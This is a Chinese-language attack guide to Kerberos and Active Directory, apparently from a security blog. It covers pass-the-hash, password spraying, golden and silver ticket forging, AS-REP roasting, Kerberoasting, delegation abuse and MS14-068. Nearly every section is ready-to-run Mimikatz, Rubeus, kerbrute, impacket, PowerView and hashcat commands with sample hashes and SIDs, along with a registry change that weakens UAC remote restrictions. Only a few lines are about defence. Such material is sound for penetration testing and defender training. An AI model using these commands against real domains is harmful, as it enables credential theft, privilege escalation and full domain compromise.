Kerberos相关攻击技巧(较全)
字数 1738 2025-08-18 11:36:47
Kerberos攻击技术全面指南
目录
AS-REQ阶段攻击
Hash传递攻击(PTH)
原理:通过捕获密码的hash值进行身份验证,无需解密hash获取明文密码。
限制:
- Windows 2003之后有UAC限制
- 默认只有SID 500和administrators组里的域账户能PTH
- 域Domain admin默认在本地管理员组
绕过限制:
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
常用攻击方法:
- Mimikatz交互式获取:
privilege::debug
sekurlsa::pth /user:DD /domain:. /ntlm:35c83173a6fb6d142b0359381d5cc84c
- psexec:
psexec.exe admin@10.73.147.30 -hashes 624aac413795cdc1a5c7b1e00f780017:852a844adfce18f66009b4f14e0a98de
- wmiexec:
python wmiexec.py -hashes 624aac413795cdc1a5c7b1e00f780017:08eb9761caca8f3c386962b5ad4b1991 administrator@192.168.20.3
批量PTH攻击:
使用CrackMapExec工具
域外用户枚举
原理:利用AS_REQ阶段工作原理枚举域内账号。
工具:
- kerbrute:
kerbrute_windows_amd64.exe userenum --dc 192.168.60.1 -d hacke.testlab user.txt
kerbrute_windows_amd64.exe passwordspray -d hacke.testlab user.txt QWE123!@#
- pyKerbrute:
python2 EnumADUser.py 192.168.60.1 test.com user.txt tcp
python2 ADPwdSpray.py 192.168.60.1 hacke.testlab user.txt ntlmhash 35c83173a6fb6d142b0359381d5cc84c udp
密码喷洒攻击
工具:DomainPasswordSpray.ps1
使用示例:
powershell.exe -exec bypass -Command "& {Import-Module DomainPasswordSpray.ps1;Invoke-DomainPasswordSpray -Password QWE123!@#}"
KB22871997补丁与PTH攻击
补丁影响:
- 支持"ProtectedUsers"组
- Restricted Admin RDP模式支持
- 注销后删除LSASS中的凭据
- 添加两个新的SID
- LSASS中删除明文凭证
防御PTH:
- 设置FilterAdministratorToken为1
- 监控LocalAccountTokenFilterPolicy注册表项
- 组策略中"拒绝从网络访问这台计算机"添加限制组
Pass the Hash with Remote Desktop
条件:
- Windows 8.1/Server 2012 R2默认支持
- Windows 7/Server 2008 R2需安装补丁2871997、2973351
启用Restricted Admin mode:
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f
攻击方法:
- 客户端命令行登录:
mstsc.exe /restrictedadmin
- 使用FreeRDP工具
AS-REP阶段攻击
黄金票据
利用条件:
- krbtgt用户的hash
- 域名称
- 域的SID值
- 要伪造的用户名
攻击步骤:
- 获取krbtgt hash:
lsadump::lsa /patch
- 制作黄金票据:
kerberos::golden /admin:Administrator /domain:hacke.testlab /sid:S-1-5-21-3502871099-3777307143-1257297015 /krbtgt:30c84f309c52d2d6d05561fc3f904647 /ticket:ticket.kirbi
- 注入票据:
kerberos::ptt ticket.kirbi
AS-REP Roasting攻击
条件:用户账号设置"不需要kerberos预身份验证"
攻击方法:
- 使用Rubeus获取hash:
Rubeus.exe asreproast > log.txt
- 使用PowerView获取用户:
Get-DomainUser -PreauthNotRequired
- 使用Get-ASREPHash获取hash:
Get-ASREPHash -UserName test -Domain hacke.testlab | Out-File -Encoding ASCII hash.txt
- 破解hash:
hashcat -m 18200 hash.txt pass.txt --force
TGS-REP阶段攻击
SPN扫描
SPN格式:serviceclass/host:port/servicename
查询方法:
- 使用setspn:
setspn.exe -q */*
- 使用PowerView:
Get-NetUser -spn -AdminCount
Kerberoasting攻击
攻击步骤:
- 请求指定TGS:
$SPNName = 'VNC/WIN7.hacke.testlab'
Add-Type -AssemblyNAme System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $SPNName
- 导出票据:
kerberos::list /export
- 破解票据:
python kirbi2john.py *.kirbi > johnkirb.txt
hashcat -m 13100 hash.txt password.list -o found.txt --force
白银票据
利用条件:
- 域名
- 域SID
- 目标服务器的FQDN
- 可利用的服务
- 服务账号的NTLM Hash
- 需要伪造的用户名
攻击示例:
- 伪造CIFS服务:
kerberos::golden /domain:HACKE.TESTLAB /sid:S-1-5-21-3502871099-3777307143-1257297015 /target:WIN-Q2JR4MURGS0.hacke.testlab /service:cifs /rc4:f2abe578cdedfbb0dc5bf4249145c8dd /user:test /ptt
- 访问LDAP服务:
kerberos::golden /domain:HACKE.TESTLAB /sid:S-1-5-21-3502871099-3777307143-1257297015 /target:WIN-Q2JR4MURGS0.hacke.testlab /service:ldap /rc4:f2abe578cdedfbb0dc5bf4249145c8dd /user:test /ptt
S4U攻击
非约束委派攻击
信息搜集:
- 使用PowerView:
Get-NetComputer -Unconstrained -Domain hacke.testlab
- 使用AdFind:
AdFind.exe -b "DC=hacke,DC=testlab" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
攻击方法:
- 高权限机器主动访问:
sekurlsa::tickets /export
kerberos::ptt [0;8c20d]-2-0-60810000-Administrator@krbtgt-HACKE.TESTLAB.kirbi
- 使用打印机BUG:
Rubeus.exe monitor /interval:1 /filteruser:WIN-Q2JR4MURGS0$
SpoolSamplerNET.exe WIN7 WIN-Q2JR4MURGS0
约束委派攻击
信息搜集:
- 使用PowerView:
Get-DomainUser -TrustedToAuth -Domain hacke.testlab
- 使用AdFind:
AdFind.exe -b "DC=hacke,DC=testlab" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
攻击方法:
- 使用kekeo请求TGT:
tgt::ask /user:weipai /domain:hacke.testlab /password:QWE123!@# /ticket:test.kirbi
- 伪造s4u请求:
tgs::s4u /tgt:TGT_weipai@HACKE.TESTLAB_krbtgt~hacke.testlab@HACKE.TESTLAB.kirbi /user:Administrator@hacke.testlab /service:cifs/WIN-Q2JR4MURGS0.hacke.testlab
- 注入票据:
kerberos::ptt TGS_Administrator@hacke.testlab@HACKE.TESTLAB_cifs~WIN-Q2JR4MURGS0.hacke.testlab@HACKE.TESTLAB.kirbi
基于资源的约束委派攻击
攻击步骤:
- 创建机器账户:
New-MachineAccount -MachineAccount 0xxk -Password $(ConvertTo-SecureString "QWE123!@#" -AsPlainText -Force)
- 设置资源约束委派:
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3502871099-3777307143-1257297015-1610)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer WIN8 | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
- 发起攻击:
Rubeus.exe s4u /user:0xxk$ /rc4:35C83173A6FB6D142B0359381D5CC84C /impersonateuser:administrator /msdsspn:cifs/WIN8.hacke.testlab /ptt
PAC相关攻击
PAC与Kerberos的关系
PAC作用:向Server端表明Client的权限,包含Client的SID、Group的SID。
MS14-068漏洞利用
利用条件:
- 小于2012R2的域控没有打KB3011780
- 域账户使用时需要清除票据
攻击步骤:
- 生成票据:
MS14-068.exe -u test@hacke.top.com -s S-1-5-21-662684005-512120196-2632585872-1105 -d 192.168.60.55 -p QWE123!@#
- 注入票据:
kerberos::ptc TGT_test@hacke.top.com.ccache
- 访问域控:
dir \\WIN-1CO4ES74OQM\C$